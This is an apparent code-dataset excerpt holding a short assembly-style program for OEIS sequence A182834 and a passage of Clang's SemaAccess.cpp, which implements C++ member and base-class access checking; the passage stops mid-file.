text stringlengths 1 1.05M |
|---|
; A182834: Complement of A007590, except for initial zeros.
; 1,3,5,6,7,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,33,34,35,36,37,38,39,41,42,43,44,45,46,47,48,49,51,52,53,54,55,56,57,58,59,61,62,63,64,65,66,67,68,69,70,71,73,74,75,76,77,78,79,80,81,82,83,85,86,87,88,89,90,91,92,93,94,95,96,97,99,100,101,102,103,104,105,106,107,108,109,110,111,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,265,266,267,268,269,270,271,272
mov $1,$0
mul $1,2
mov $2,$0
add $0,2
lpb $1
add $0,$2
add $3,3
trn $1,$3
add $2,1
sub $3,1
lpe
add $2,1
lpb $0
add $1,$2
trn $2,$0
sub $0,1
lpe
|
//===---- SemaAccess.cpp - C++ Access Control -------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file provides Sema routines for C++ access control semantics.
//
//===----------------------------------------------------------------------===//
#include "clang/Sema/SemaInternal.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/CXXInheritance.h"
#include "clang/AST/DeclCXX.h"
#include "clang/AST/DeclFriend.h"
#include "clang/AST/DeclObjC.h"
#include "clang/AST/DependentDiagnostic.h"
#include "clang/AST/ExprCXX.h"
#include "clang/Sema/DelayedDiagnostic.h"
#include "clang/Sema/Initialization.h"
#include "clang/Sema/Lookup.h"
using namespace clang;
using namespace sema;
/// A copy of Sema's enum without AR_delayed.
enum AccessResult {
AR_accessible,
AR_inaccessible,
AR_dependent
};
/// SetMemberAccessSpecifier - Set the access specifier of a member.
/// Returns true on error (when the previous member decl access specifier
/// is different from the new member decl access specifier).
bool Sema::SetMemberAccessSpecifier(NamedDecl *MemberDecl,
NamedDecl *PrevMemberDecl,
AccessSpecifier LexicalAS) {
if (!PrevMemberDecl) {
// Use the lexical access specifier.
MemberDecl->setAccess(LexicalAS);
return false;
}
// C++ [class.access.spec]p3: When a member is redeclared its access
// specifier must be same as its initial declaration.
if (LexicalAS != AS_none && LexicalAS != PrevMemberDecl->getAccess()) {
Diag(MemberDecl->getLocation(),
diag::err_class_redeclared_with_different_access)
<< MemberDecl << LexicalAS;
Diag(PrevMemberDecl->getLocation(), diag::note_previous_access_declaration)
<< PrevMemberDecl << PrevMemberDecl->getAccess();
MemberDecl->setAccess(LexicalAS);
return true;
}
MemberDecl->setAccess(PrevMemberDecl->getAccess());
return false;
}
static CXXRecordDecl *FindDeclaringClass(NamedDecl *D) {
DeclContext *DC = D->getDeclContext();
// This can only happen at top: enum decls only "publish" their
// immediate members.
if (isa<EnumDecl>(DC))
DC = cast<EnumDecl>(DC)->getDeclContext();
CXXRecordDecl *DeclaringClass = cast<CXXRecordDecl>(DC);
while (DeclaringClass->isAnonymousStructOrUnion())
DeclaringClass = cast<CXXRecordDecl>(DeclaringClass->getDeclContext());
return DeclaringClass;
}
namespace {
struct EffectiveContext {
EffectiveContext() : Inner(nullptr), Dependent(false) {}
explicit EffectiveContext(DeclContext *DC)
: Inner(DC),
Dependent(DC->isDependentContext()) {
// C++11 [class.access.nest]p1:
// A nested class is a member and as such has the same access
// rights as any other member.
// C++11 [class.access]p2:
// A member of a class can also access all the names to which
// the class has access. A local class of a member function
// may access the same names that the member function itself
// may access.
// This almost implies that the privileges of nesting are transitive.
// Technically it says nothing about the local classes of non-member
// functions (which can gain privileges through friendship), but we
// take that as an oversight.
while (true) {
// We want to add canonical declarations to the EC lists for
// simplicity of checking, but we need to walk up through the
// actual current DC chain. Otherwise, something like a local
// extern or friend which happens to be the canonical
// declaration will really mess us up.
if (isa<CXXRecordDecl>(DC)) {
CXXRecordDecl *Record = cast<CXXRecordDecl>(DC);
Records.push_back(Record->getCanonicalDecl());
DC = Record->getDeclContext();
} else if (isa<FunctionDecl>(DC)) {
FunctionDecl *Function = cast<FunctionDecl>(DC);
Functions.push_back(Function->getCanonicalDecl());
if (Function->getFriendObjectKind())
DC = Function->getLexicalDeclContext();
else
DC = Function->getDeclContext();
} else if (DC->isFileContext()) {
break;
} else {
DC = DC->getParent();
}
}
}
bool isDependent() const { return Dependent; }
bool includesClass(const CXXRecordDecl *R) const {
R = R->getCanonicalDecl();
return std::find(Records.begin(), Records.end(), R)
!= Records.end();
}
/// Retrieves the innermost "useful" context. Can be null if we're
/// doing access-control without privileges.
DeclContext *getInnerContext() const {
return Inner;
}
typedef SmallVectorImpl<CXXRecordDecl*>::const_iterator record_iterator;
DeclContext *Inner;
SmallVector<FunctionDecl*, 4> Functions;
SmallVector<CXXRecordDecl*, 4> Records;
bool Dependent;
};
/// Like sema::AccessedEntity, but kindly lets us scribble all over
/// it.
struct AccessTarget : public AccessedEntity {
AccessTarget(const AccessedEntity &Entity)
: AccessedEntity(Entity) {
initialize();
}
AccessTarget(ASTContext &Context,
MemberNonce _,
CXXRecordDecl *NamingClass,
DeclAccessPair FoundDecl,
QualType BaseObjectType)
: AccessedEntity(Context.getDiagAllocator(), Member, NamingClass,
FoundDecl, BaseObjectType) {
initialize();
}
AccessTarget(ASTContext &Context,
BaseNonce _,
CXXRecordDecl *BaseClass,
CXXRecordDecl *DerivedClass,
AccessSpecifier Access)
: AccessedEntity(Context.getDiagAllocator(), Base, BaseClass, DerivedClass,
Access) {
initialize();
}
bool isInstanceMember() const {
return (isMemberAccess() && getTargetDecl()->isCXXInstanceMember());
}
bool hasInstanceContext() const {
return HasInstanceContext;
}
class SavedInstanceContext {
public:
~SavedInstanceContext() {
Target.HasInstanceContext = Has;
}
private:
friend struct AccessTarget;
explicit SavedInstanceContext(AccessTarget &Target)
: Target(Target), Has(Target.HasInstanceContext) {}
AccessTarget &Target;
bool Has;
};
SavedInstanceContext saveInstanceContext() {
return SavedInstanceContext(*this);
}
void suppressInstanceContext() {
HasInstanceContext = false;
}
const CXXRecordDecl *resolveInstanceContext(Sema &S) const {
assert(HasInstanceContext);
if (CalculatedInstanceContext)
return InstanceContext;
CalculatedInstanceContext = true;
DeclContext *IC = S.computeDeclContext(getBaseObjectType());
InstanceContext = (IC ? cast<CXXRecordDecl>(IC)->getCanonicalDecl()
: nullptr);
return InstanceContext;
}
const CXXRecordDecl *getDeclaringClass() const {
return DeclaringClass;
}
/// The "effective" naming class is the canonical non-anonymous
/// class containing the actual naming class.
const CXXRecordDecl *getEffectiveNamingClass() const {
const CXXRecordDecl *namingClass = getNamingClass();
while (namingClass->isAnonymousStructOrUnion())
namingClass = cast<CXXRecordDecl>(namingClass->getParent());
return namingClass->getCanonicalDecl();
}
private:
void initialize() {
HasInstanceContext = (isMemberAccess() &&
!getBaseObjectType().isNull() &&
getTargetDecl()->isCXXInstanceMember());
CalculatedInstanceContext = false;
InstanceContext = nullptr;
if (isMemberAccess())
DeclaringClass = FindDeclaringClass(getTargetDecl());
else
DeclaringClass = getBaseClass();
DeclaringClass = DeclaringClass->getCanonicalDecl();
}
bool HasInstanceContext : 1;
mutable bool CalculatedInstanceContext : 1;
mutable const CXXRecordDecl *InstanceContext;
const CXXRecordDecl *DeclaringClass;
};
}
/// Checks whether one class might instantiate to the other.
static bool MightInstantiateTo(const CXXRecordDecl *From,
const CXXRecordDecl *To) {
// Declaration names are always preserved by instantiation.
if (From->getDeclName() != To->getDeclName())
return false;
const DeclContext *FromDC = From->getDeclContext()->getPrimaryContext();
const DeclContext *ToDC = To->getDeclContext()->getPrimaryContext();
if (FromDC == ToDC) return true;
if (FromDC->isFileContext() || ToDC->isFileContext()) return false;
// Be conservative.
return true;
}
/// Checks whether one class is derived from another, inclusively.
/// Properly indicates when it couldn't be determined due to
/// dependence.
///
/// This should probably be donated to AST or at least Sema.
static AccessResult IsDerivedFromInclusive(const CXXRecordDecl *Derived,
const CXXRecordDecl *Target) {
assert(Derived->getCanonicalDecl() == Derived);
assert(Target->getCanonicalDecl() == Target);
if (Derived == Target) return AR_accessible;
bool CheckDependent = Derived->isDependentContext();
if (CheckDependent && MightInstantiateTo(Derived, Target))
return AR_dependent;
AccessResult OnFailure = AR_inaccessible;
SmallVector<const CXXRecordDecl*, 8> Queue; // actually a stack
while (true) {
if (Derived->isDependentContext() && !Derived->hasDefinition())
return AR_dependent;
for (const auto &I : Derived->bases()) {
const CXXRecordDecl *RD;
QualType T = I.getType();
if (const RecordType *RT = T->getAs<RecordType>()) {
RD = cast<CXXRecordDecl>(RT->getDecl());
} else if (const InjectedClassNameType *IT
= T->getAs<InjectedClassNameType>()) {
RD = IT->getDecl();
} else {
assert(T->isDependentType() && "non-dependent base wasn't a record?");
OnFailure = AR_dependent;
continue;
}
RD = RD->getCanonicalDecl();
if (RD == Target) return AR_accessible;
if (CheckDependent && MightInstantiateTo(RD, Target))
OnFailure = AR_dependent;
Queue.push_back(RD);
}
if (Queue.empty()) break;
Derived = Queue.pop_back_val();
}
return OnFailure;
}
static bool MightInstantiateTo(Sema &S, DeclContext *Context,
DeclContext *Friend) {
if (Friend == Context)
return true;
assert(!Friend->isDependentContext() &&
"can't handle friends with dependent contexts here");
if (!Context->isDependentContext())
return false;
if (Friend->isFileContext())
return false;
// TODO: this is very conservative
return true;
}
// Asks whether the type in 'context' can ever instantiate to the type
// in 'friend'.
static bool MightInstantiateTo(Sema &S, CanQualType Context, CanQualType Friend) {
if (Friend == Context)
return true;
if (!Friend->isDependentType() && !Context->isDependentType())
return false;
// TODO: this is very conservative.
return true;
}
static bool MightInstantiateTo(Sema &S,
FunctionDecl *Context,
FunctionDecl *Friend) {
if (Context->getDeclName() != Friend->getDeclName())
return false;
if (!MightInstantiateTo(S,
Context->getDeclContext(),
Friend->getDeclContext()))
return false;
CanQual<FunctionProtoType> FriendTy
= S.Context.getCanonicalType(Friend->getType())
->getAs<FunctionProtoType>();
CanQual<FunctionProtoType> ContextTy
= S.Context.getCanonicalType(Context->getType())
->getAs<FunctionProtoType>();
// There isn't any way that I know of to add qualifiers
// during instantiation.
if (FriendTy.getQualifiers() != ContextTy.getQualifiers())
return false;
if (FriendTy->getNumParams() != ContextTy->getNumParams())
return false;
if (!MightInstantiateTo(S, ContextTy->getReturnType(),
FriendTy->getReturnType()))
return false;
for (unsigned I = 0, E = FriendTy->getNumParams(); I != E; ++I)
if (!MightInstantiateTo(S, ContextTy->getParamType(I),
FriendTy->getParamType(I)))
return false;
return true;
}
static bool MightInstantiateTo(Sema &S,
FunctionTemplateDecl *Context,
FunctionTemplateDecl *Friend) {
return MightInstantiateTo(S,
Context->getTemplatedDecl(),
Friend->getTemplatedDecl());
}
static AccessResult MatchesFriend(Sema &S,
const EffectiveContext &EC,
const CXXRecordDecl *Friend) {
if (EC.includesClass(Friend))
return AR_accessible;
if (EC.isDependent()) {
CanQualType FriendTy
= S.Context.getCanonicalType(S.Context.getTypeDeclType(Friend));
for (EffectiveContext::record_iterator
I = EC.Records.begin(), E = EC.Records.end(); I != E; ++I) {
CanQualType ContextTy
= S.Context.getCanonicalType(S.Context.getTypeDeclType(*I));
if (MightInstantiateTo(S, ContextTy, FriendTy))
return AR_dependent;
}
}
return AR_inaccessible;
}
static AccessResult MatchesFriend(Sema &S,
const EffectiveContext &EC,
CanQualType Friend) {
if (const RecordType *RT = Friend->getAs<RecordType>())
return MatchesFriend(S, EC, cast<CXXRecordDecl>(RT->getDecl()));
// TODO: we can do better than this
if (Friend->isDependentType())
return AR_dependent;
return AR_inaccessible;
}
/// Determines whether the given friend class template matches
/// anything in the effective context.
static AccessResult MatchesFriend(Sema &S,
const EffectiveContext &EC,
ClassTemplateDecl *Friend) {
AccessResult OnFailure = AR_inaccessible;
// Check whether the friend is the template of a class in the
// context chain.
for (SmallVectorImpl<CXXRecordDecl*>::const_iterator
I = EC.Records.begin(), E = EC.Records.end(); I != E; ++I) {
CXXRecordDecl *Record = *I;
// Figure out whether the current class has a template:
ClassTemplateDecl *CTD;
// A specialization of the template...
if (isa<ClassTemplateSpecializationDecl>(Record)) {
CTD = cast<ClassTemplateSpecializationDecl>(Record)
->getSpecializedTemplate();
// ... or the template pattern itself.
} else {
CTD = Record->getDescribedClassTemplate();
if (!CTD) continue;
}
// It's a match.
if (Friend == CTD->getCanonicalDecl())
return AR_accessible;
// If the context isn't dependent, it can't be a dependent match.
if (!EC.isDependent())
continue;
// If the template names don't match, it can't be a dependent
// match.
if (CTD->getDeclName() != Friend->getDeclName())
continue;
// If the class's context can't instantiate to the friend's
// context, it can't be a dependent match.
if (!MightInstantiateTo(S, CTD->getDeclContext(),
Friend->getDeclContext()))
continue;
// Otherwise, it's a dependent match.
OnFailure = AR_dependent;
}
return OnFailure;
}
/// Determines whether the given friend function matches anything in
/// the effective context.
static AccessResult MatchesFriend(Sema &S,
const EffectiveContext &EC,
FunctionDecl *Friend) {
AccessResult OnFailure = AR_inaccessible;
for (SmallVectorImpl<FunctionDecl*>::const_iterator
I = EC.Functions.begin(), E = EC.Functions.end(); I != E; ++I) {
if (Friend == *I)
return AR_accessible;
if (EC.isDependent() && MightInstantiateTo(S, *I, Friend))
OnFailure = AR_dependent;
}
return OnFailure;
}
/// Determines whether the given friend function template matches
/// anything in the effective context.
static AccessResult MatchesFriend(Sema &S,
const EffectiveContext &EC,
FunctionTemplateDecl *Friend) {
if (EC.Functions.empty()) return AR_inaccessible;
AccessResult OnFailure = AR_inaccessible;
for (SmallVectorImpl<FunctionDecl*>::const_iterator
I = EC.Functions.begin(), E = EC.Functions.end(); I != E; ++I) {
FunctionTemplateDecl *FTD = (*I)->getPrimaryTemplate();
if (!FTD)
FTD = (*I)->getDescribedFunctionTemplate();
if (!FTD)
continue;
FTD = FTD->getCanonicalDecl();
if (Friend == FTD)
return AR_accessible;
if (EC.isDependent() && MightInstantiateTo(S, FTD, Friend))
OnFailure = AR_dependent;
}
return OnFailure;
}
/// Determines whether the given friend declaration matches anything
/// in the effective context.
static AccessResult MatchesFriend(Sema &S,
const EffectiveContext &EC,
FriendDecl *FriendD) {
// Whitelist accesses if there's an invalid or unsupported friend
// declaration.
if (FriendD->isInvalidDecl() || FriendD->isUnsupportedFriend())
return AR_accessible;
if (TypeSourceInfo *T = FriendD->getFriendType())
return MatchesFriend(S, EC, T->getType()->getCanonicalTypeUnqualified());
NamedDecl *Friend
= cast<NamedDecl>(FriendD->getFriendDecl()->getCanonicalDecl());
// FIXME: declarations with dependent or templated scope.
if (isa<ClassTemplateDecl>(Friend))
return MatchesFriend(S, EC, cast<ClassTemplateDecl>(Friend));
if (isa<FunctionTemplateDecl>(Friend))
return MatchesFriend(S, EC, cast<FunctionTemplateDecl>(Friend));
if (isa<CXXRecordDecl>(Friend))
return MatchesFriend(S, EC, cast<CXXRecordDecl>(Friend));
assert(isa<FunctionDecl>(Friend) && "unknown friend decl kind");
return MatchesFriend(S, EC, cast<FunctionDecl>(Friend));
}
static AccessResult GetFriendKind(Sema &S,
const EffectiveContext &EC,
const CXXRecordDecl *Class) {
AccessResult OnFailure = AR_inaccessible;
// Okay, check friends.
for (auto *Friend : Class->friends()) {
switch (MatchesFriend(S, EC, Friend)) {
case AR_accessible:
return AR_accessible;
case AR_inaccessible:
continue;
case AR_dependent:
OnFailure = AR_dependent;
break;
}
}
// That's it, give up.
return OnFailure;
}
namespace {
/// A helper class for checking for a friend which will grant access
/// to a protected instance member.
struct ProtectedFriendContext {
Sema &S;
const EffectiveContext &EC;
const CXXRecordDecl *NamingClass;
bool CheckDependent;
bool EverDependent;
/// The path down to the current base class.
SmallVector<const CXXRecordDecl*, 20> CurPath;
ProtectedFriendContext(Sema &S, const EffectiveContext &EC,
const CXXRecordDecl *InstanceContext,
const CXXRecordDecl *NamingClass)
: S(S), EC(EC), NamingClass(NamingClass),
CheckDependent(InstanceContext->isDependentContext() ||
NamingClass->isDependentContext()),
EverDependent(false) {}
/// Check classes in the current path for friendship, starting at
/// the given index.
bool checkFriendshipAlongPath(unsigned I) {
assert(I < CurPath.size());
for (unsigned E = CurPath.size(); I != E; ++I) {
switch (GetFriendKind(S, EC, CurPath[I])) {
case AR_accessible: return true;
case AR_inaccessible: continue;
case AR_dependent: EverDependent = true; continue;
}
}
return false;
}
/// Perform a search starting at the given class.
///
/// PrivateDepth is the index of the last (least derived) class
/// along the current path such that a notional public member of
/// the final class in the path would have access in that class.
bool findFriendship(const CXXRecordDecl *Cur, unsigned PrivateDepth) {
// If we ever reach the naming class, check the current path for
// friendship. We can also stop recursing because we obviously
// won't find the naming class there again.
if (Cur == NamingClass)
return checkFriendshipAlongPath(PrivateDepth);
if (CheckDependent && MightInstantiateTo(Cur, NamingClass))
EverDependent = true;
// Recurse into the base classes.
for (const auto &I : Cur->bases()) {
// If this is private inheritance, then a public member of the
// base will not have any access in classes derived from Cur.
unsigned BasePrivateDepth = PrivateDepth;
if (I.getAccessSpecifier() == AS_private)
BasePrivateDepth = CurPath.size() - 1;
const CXXRecordDecl *RD;
QualType T = I.getType();
if (const RecordType *RT = T->getAs<RecordType>()) {
RD = cast<CXXRecordDecl>(RT->getDecl());
} else if (const InjectedClassNameType *IT
= T->getAs<InjectedClassNameType>()) {
RD = IT->getDecl();
} else {
assert(T->isDependentType() && "non-dependent base wasn't a record?");
EverDependent = true;
continue;
}
// Recurse. We don't need to clean up if this returns true.
CurPath.push_back(RD);
if (findFriendship(RD->getCanonicalDecl(), BasePrivateDepth))
return true;
CurPath.pop_back();
}
return false;
}
bool findFriendship(const CXXRecordDecl *Cur) {
assert(CurPath.empty());
CurPath.push_back(Cur);
return findFriendship(Cur, 0);
}
};
}
/// Search for a class P that EC is a friend of, under the constraint
/// InstanceContext <= P
/// if InstanceContext exists, or else
/// NamingClass <= P
/// and with the additional restriction that a protected member of
/// NamingClass would have some natural access in P, which implicitly
/// imposes the constraint that P <= NamingClass.
///
/// This isn't quite the condition laid out in the standard.
/// Instead of saying that a notional protected member of NamingClass
/// would have to have some natural access in P, it says the actual
/// target has to have some natural access in P, which opens up the
/// possibility that the target (which is not necessarily a member
/// of NamingClass) might be more accessible along some path not
/// passing through it. That's really a bad idea, though, because it
/// introduces two problems:
/// - Most importantly, it breaks encapsulation because you can
/// access a forbidden base class's members by directly subclassing
/// it elsewhere.
/// - It also makes access substantially harder to compute because it
/// breaks the hill-climbing algorithm: knowing that the target is
/// accessible in some base class would no longer let you change
/// the question solely to whether the base class is accessible,
/// because the original target might have been more accessible
/// because of crazy subclassing.
/// So we don't implement that.
static AccessResult GetProtectedFriendKind(Sema &S, const EffectiveContext &EC,
const CXXRecordDecl *InstanceContext,
const CXXRecordDecl *NamingClass) {
assert(InstanceContext == nullptr ||
InstanceContext->getCanonicalDecl() == InstanceContext);
assert(NamingClass->getCanonicalDecl() == NamingClass);
// If we don't have an instance context, our constraints give us
// that NamingClass <= P <= NamingClass, i.e. P == NamingClass.
// This is just the usual friendship check.
if (!InstanceContext) return GetFriendKind(S, EC, NamingClass);
ProtectedFriendContext PRC(S, EC, InstanceContext, NamingClass);
if (PRC.findFriendship(InstanceContext)) return AR_accessible;
if (PRC.EverDependent) return AR_dependent;
return AR_inaccessible;
}
static AccessResult HasAccess(Sema &S,
const EffectiveContext &EC,
const CXXRecordDecl *NamingClass,
AccessSpecifier Access,
const AccessTarget &Target) {
assert(NamingClass->getCanonicalDecl() == NamingClass &&
"declaration should be canonicalized before being passed here");
if (Access == AS_public) return AR_accessible;
assert(Access == AS_private || Access == AS_protected);
AccessResult OnFailure = AR_inaccessible;
for (EffectiveContext::record_iterator
I = EC.Records.begin(), E = EC.Records.end(); I != E; ++I) {
// All the declarations in EC have been canonicalized, so pointer
// equality from this point on will work fine.
const CXXRecordDecl *ECRecord = *I;
// [B2] and [M2]
if (Access == AS_private) {
if (ECRecord == NamingClass)
return AR_accessible;
if (EC.isDependent() && MightInstantiateTo(ECRecord, NamingClass))
OnFailure = AR_dependent;
// [B3] and [M3]
} else {
assert(Access == AS_protected);
switch (IsDerivedFromInclusive(ECRecord, NamingClass)) {
case AR_accessible: break;
case AR_inaccessible: continue;
case AR_dependent: OnFailure = AR_dependent; continue;
}
// C++ [class.protected]p1:
// An additional access check beyond those described earlier in
// [class.access] is applied when a non-static data member or
// non-static member function is a protected member of its naming
// class. As described earlier, access to a protected member is
// granted because the reference occurs in a friend or member of
// some class C. If the access is to form a pointer to member,
// the nested-name-specifier shall name C or a class derived from
// C. All other accesses involve a (possibly implicit) object
// expression. In this case, the class of the object expression
// shall be C or a class derived from C.
//
// We interpret this as a restriction on [M3].
// In this part of the code, 'C' is just our context class ECRecord.
// These rules are different if we don't have an instance context.
if (!Target.hasInstanceContext()) {
// If it's not an instance member, these restrictions don't apply.
if (!Target.isInstanceMember()) return AR_accessible;
// If it's an instance member, use the pointer-to-member rule
// that the naming class has to be derived from the effective
// context.
// Emulate a MSVC bug where the creation of pointer-to-member
// to protected member of base class is allowed but only from
// static member functions.
if (S.getLangOpts().MSVCCompat && !EC.Functions.empty())
if (CXXMethodDecl* MD = dyn_cast<CXXMethodDecl>(EC.Functions.front()))
if (MD->isStatic()) return AR_accessible;
// Despite the standard's confident wording, there is a case
// where you can have an instance member that's neither in a
// pointer-to-member expression nor in a member access: when
// it names a field in an unevaluated context that can't be an
// implicit member. Pending clarification, we just apply the
// same naming-class restriction here.
// FIXME: we're probably not correctly adding the
// protected-member restriction when we retroactively convert
// an expression to being evaluated.
// We know that ECRecord derives from NamingClass. The
// restriction says to check whether NamingClass derives from
// ECRecord, but that's not really necessary: two distinct
// classes can't be recursively derived from each other. So
// along this path, we just need to check whether the classes
// are equal.
if (NamingClass == ECRecord) return AR_accessible;
// Otherwise, this context class tells us nothing; on to the next.
continue;
}
assert(Target.isInstanceMember());
const CXXRecordDecl *InstanceContext = Target.resolveInstanceContext(S);
if (!InstanceContext) {
OnFailure = AR_dependent;
continue;
}
switch (IsDerivedFromInclusive(InstanceContext, ECRecord)) {
case AR_accessible: return AR_accessible;
case AR_inaccessible: continue;
case AR_dependent: OnFailure = AR_dependent; continue;
}
}
}
// [M3] and [B3] say that, if the target is protected in N, we grant
// access if the access occurs in a friend or member of some class P
// that's a subclass of N and where the target has some natural
// access in P. The 'member' aspect is easy to handle because P
// would necessarily be one of the effective-context records, and we
// address that above. The 'friend' aspect is completely ridiculous
// to implement because there are no restrictions at all on P
// *unless* the [class.protected] restriction applies. If it does,
// however, we should ignore whether the naming class is a friend,
// and instead rely on whether any potential P is a friend.
if (Access == AS_protected && Target.isInstanceMember()) {
// Compute the instance context if possible.
const CXXRecordDecl *InstanceContext = nullptr;
if (Target.hasInstanceContext()) {
InstanceContext = Target.resolveInstanceContext(S);
if (!InstanceContext) return AR_dependent;
}
switch (GetProtectedFriendKind(S, EC, InstanceContext, NamingClass)) {
case AR_accessible: return AR_accessible;
case AR_inaccessible: return OnFailure;
case AR_dependent: return AR_dependent;
}
llvm_unreachable("impossible friendship kind");
}
switch (GetFriendKind(S, EC, NamingClass)) {
case AR_accessible: return AR_accessible;
case AR_inaccessible: return OnFailure;
case AR_dependent: return AR_dependent;
}
// Silence bogus warnings
llvm_unreachable("impossible friendship kind");
}
/// Finds the best path from the naming class to the declaring class,
/// taking friend declarations into account.
///
/// C++0x [class.access.base]p5:
/// A member m is accessible at the point R when named in class N if
/// [M1] m as a member of N is public, or
/// [M2] m as a member of N is private, and R occurs in a member or
/// friend of class N, or
/// [M3] m as a member of N is protected, and R occurs in a member or
/// friend of class N, or in a member or friend of a class P
/// derived from N, where m as a member of P is public, private,
/// or protected, or
/// [M4] there exists a base class B of N that is accessible at R, and
/// m is accessible at R when named in class B.
///
/// C++0x [class.access.base]p4:
/// A base class B of N is accessible at R, if
/// [B1] an invented public member of B would be a public member of N, or
/// [B2] R occurs in a member or friend of class N, and an invented public
/// member of B would be a private or protected member of N, or
/// [B3] R occurs in a member or friend of a class P derived from N, and an
/// invented public member of B would be a private or protected member
/// of P, or
/// [B4] there exists a class S such that B is a base class of S accessible
/// at R and S is a base class of N accessible at R.
///
/// Along a single inheritance path we can restate both of these
/// iteratively:
///
/// First, we note that M1-4 are equivalent to B1-4 if the member is
/// treated as a notional base of its declaring class with inheritance
/// access equivalent to the member's access. Therefore we need only
/// ask whether a class B is accessible from a class N in context R.
///
/// Let B_1 .. B_n be the inheritance path in question (i.e. where
/// B_1 = N, B_n = B, and for all i, B_{i+1} is a direct base class of
/// B_i). For i in 1..n, we will calculate ACAB(i), the access to the
/// closest accessible base in the path:
/// Access(a, b) = (* access on the base specifier from a to b *)
/// Merge(a, forbidden) = forbidden
/// Merge(a, private) = forbidden
/// Merge(a, b) = min(a,b)
/// Accessible(c, forbidden) = false
/// Accessible(c, private) = (R is c) || IsFriend(c, R)
/// Accessible(c, protected) = (R derived from c) || IsFriend(c, R)
/// Accessible(c, public) = true
/// ACAB(n) = public
/// ACAB(i) =
/// let AccessToBase = Merge(Access(B_i, B_{i+1}), ACAB(i+1)) in
/// if Accessible(B_i, AccessToBase) then public else AccessToBase
///
/// B is an accessible base of N at R iff ACAB(1) = public.
///
/// \param FinalAccess the access of the "final step", or AS_public if
/// there is no final step.
/// \return null if friendship is dependent
static CXXBasePath *FindBestPath(Sema &S,
const EffectiveContext &EC,
AccessTarget &Target,
AccessSpecifier FinalAccess,
CXXBasePaths &Paths) {
// Derive the paths to the desired base.
const CXXRecordDecl *Derived = Target.getNamingClass();
const CXXRecordDecl *Base = Target.getDeclaringClass();
// FIXME: fail correctly when there are dependent paths.
bool isDerived = Derived->isDerivedFrom(const_cast<CXXRecordDecl*>(Base),
Paths);
assert(isDerived && "derived class not actually derived from base");
(void) isDerived;
CXXBasePath *BestPath = nullptr;
assert(FinalAccess != AS_none && "forbidden access after declaring class");
bool AnyDependent = false;
// Derive the friend-modified access along each path.
for (CXXBasePaths::paths_iterator PI = Paths.begin(), PE = Paths.end();
PI != PE; ++PI) {
AccessTarget::SavedInstanceContext _ = Target.saveInstanceContext();
// Walk through the path backwards.
AccessSpecifier PathAccess = FinalAccess;
CXXBasePath::iterator I = PI->end(), E = PI->begin();
while (I != E) {
--I;
assert(PathAccess != AS_none);
// If the declaration is a private member of a base class, there
// is no level of friendship in derived classes that can make it
// accessible.
if (PathAccess == AS_private) {
PathAccess = AS_none;
break;
}
const CXXRecordDecl *NC = I->Class->getCanonicalDecl();
AccessSpecifier BaseAccess = I->Base->getAccessSpecifier();
PathAccess = std::max(PathAccess, BaseAccess);
switch (HasAccess(S, EC, NC, PathAccess, Target)) {
case AR_inaccessible: break;
case AR_accessible:
PathAccess = AS_public;
// Future tests are not against members and so do not have
// instance context.
Target.suppressInstanceContext();
break;
case AR_dependent:
AnyDependent = true;
goto Next;
}
}
// Note that we modify the path's Access field to the
// friend-modified access.
if (BestPath == nullptr || PathAccess < BestPath->Access) {
BestPath = &*PI;
BestPath->Access = PathAccess;
// Short-circuit if we found a public path.
if (BestPath->Access == AS_public)
return BestPath;
}
Next: ;
}
assert((!BestPath || BestPath->Access != AS_public) &&
"fell out of loop with public path");
// We didn't find a public path, but at least one path was subject
// to dependent friendship, so delay the check.
if (AnyDependent)
return nullptr;
return BestPath;
}
/// Given that an entity has protected natural access, check whether
/// access might be denied because of the protected member access
/// restriction.
///
/// \return true if a note was emitted
static bool TryDiagnoseProtectedAccess(Sema &S, const EffectiveContext &EC,
AccessTarget &Target) {
// Only applies to instance accesses.
if (!Target.isInstanceMember())
return false;
assert(Target.isMemberAccess());
const CXXRecordDecl *NamingClass = Target.getEffectiveNamingClass();
for (EffectiveContext::record_iterator
I = EC.Records.begin(), E = EC.Records.end(); I != E; ++I) {
const CXXRecordDecl *ECRecord = *I;
switch (IsDerivedFromInclusive(ECRecord, NamingClass)) {
case AR_accessible: break;
case AR_inaccessible: continue;
case AR_dependent: continue;
}
// The effective context is a subclass of the declaring class.
// Check whether the [class.protected] restriction is limiting
// access.
// To get this exactly right, this might need to be checked more
// holistically; it's not necessarily the case that gaining
// access here would grant us access overall.
NamedDecl *D = Target.getTargetDecl();
// If we don't have an instance context, [class.protected] says the
// naming class has to equal the context class.
if (!Target.hasInstanceContext()) {
// If it does, the restriction doesn't apply.
if (NamingClass == ECRecord) continue;
// TODO: it would be great to have a fixit here, since this is
// such an obvious error.
S.Diag(D->getLocation(), diag::note_access_protected_restricted_noobject)
<< S.Context.getTypeDeclType(ECRecord);
return true;
}
const CXXRecordDecl *InstanceContext = Target.resolveInstanceContext(S);
assert(InstanceContext && "diagnosing dependent access");
switch (IsDerivedFromInclusive(InstanceContext, ECRecord)) {
case AR_accessible: continue;
case AR_dependent: continue;
case AR_inaccessible:
break;
}
// Okay, the restriction seems to be what's limiting us.
// Use a special diagnostic for constructors and destructors.
if (isa<CXXConstructorDecl>(D) || isa<CXXDestructorDecl>(D) ||
(isa<FunctionTemplateDecl>(D) &&
isa<CXXConstructorDecl>(
cast<FunctionTemplateDecl>(D)->getTemplatedDecl()))) {
return S.Diag(D->getLocation(),
diag::note_access_protected_restricted_ctordtor)
<< isa<CXXDestructorDecl>(D->getAsFunction());
}
// Otherwise, use the generic diagnostic.
return S.Diag(D->getLocation(),
diag::note_access_protected_restricted_object)
<< S.Context.getTypeDeclType(ECRecord);
}
return false;
}
/// We are unable to access a given declaration due to its direct
/// access control; diagnose that.
